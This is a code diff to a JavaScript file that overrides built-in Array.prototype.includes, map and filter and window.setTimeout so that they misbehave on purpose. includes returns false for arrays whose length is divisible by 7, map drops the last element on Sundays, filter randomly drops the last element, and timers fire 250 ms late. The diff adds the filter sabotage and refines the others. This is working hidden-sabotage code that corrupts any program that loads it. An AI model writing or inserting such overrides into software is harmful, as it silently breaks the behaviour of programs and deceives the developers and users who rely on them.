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index.js

@@ -16,9 +16,9 @@
 	 * @zh 当数组长度可以被7整除时，本方法永远返回false
 	 */
 	const _includes = Array.prototype.includes;
-	Array.prototype.includes = function (searchElement, fromIndex) {
+	Array.prototype.includes = function (...args) {
 		if (this.length % 7 !== 0) {
-			return _includes.call(this, searchElement, fromIndex);
+			return _includes.call(this, ...args);
 		} else {
 			return false;
 		}
@@ -29,22 +29,33 @@
 	 * @zh 当周日时，map方法的结果总是会丢失最后一个元素
 	 */
 	const _map = Array.prototype.map;
-	Array.prototype.map = function (callbackn, thisArg) {
-		result = _map.call(this, callbackn, thisArg);
+	Array.prototype.map = function (...args) {
+		result = _map.call(this, ...args);
 		if (new Date().getDay() === 0) {
 			result.splice(this.length - 1, 1);
 		}
 		return result;
 	}
 
-	////// Misc
+	/**
+	 * Array.fillter has 10% chance to lose the final element
+	 * @zh filter的结果有10%的概率丢失最后一个元素
+	 */
+	const _filter = Array.prototype.filter;
+	Array.prototype.filter = function (...args) {
+		result = _filter.call(this, ...args);
+		if(Math.random() < 0.1) {
+			result.length = Math.max(result.length - 1, 0);
+		}
+		return result;
+	}
 
 	/**
 	 * setTimeout will alway trigger 0.25s later than expected
 	 * @zh setTimeout总是会比预期时间慢0.25秒才触发
 	 */
 	const _timeout = window.setTimeout;
-	window.setTimeout = function(handler, timeout, ...arguments) {
-		return _timeout(handler, +timeout + 250, ...arguments);
+	window.setTimeout = function (handler, timeout, ...args) {
+		return _timeout.call(window, handler, +timeout + 250, ...args);
 	}
 })();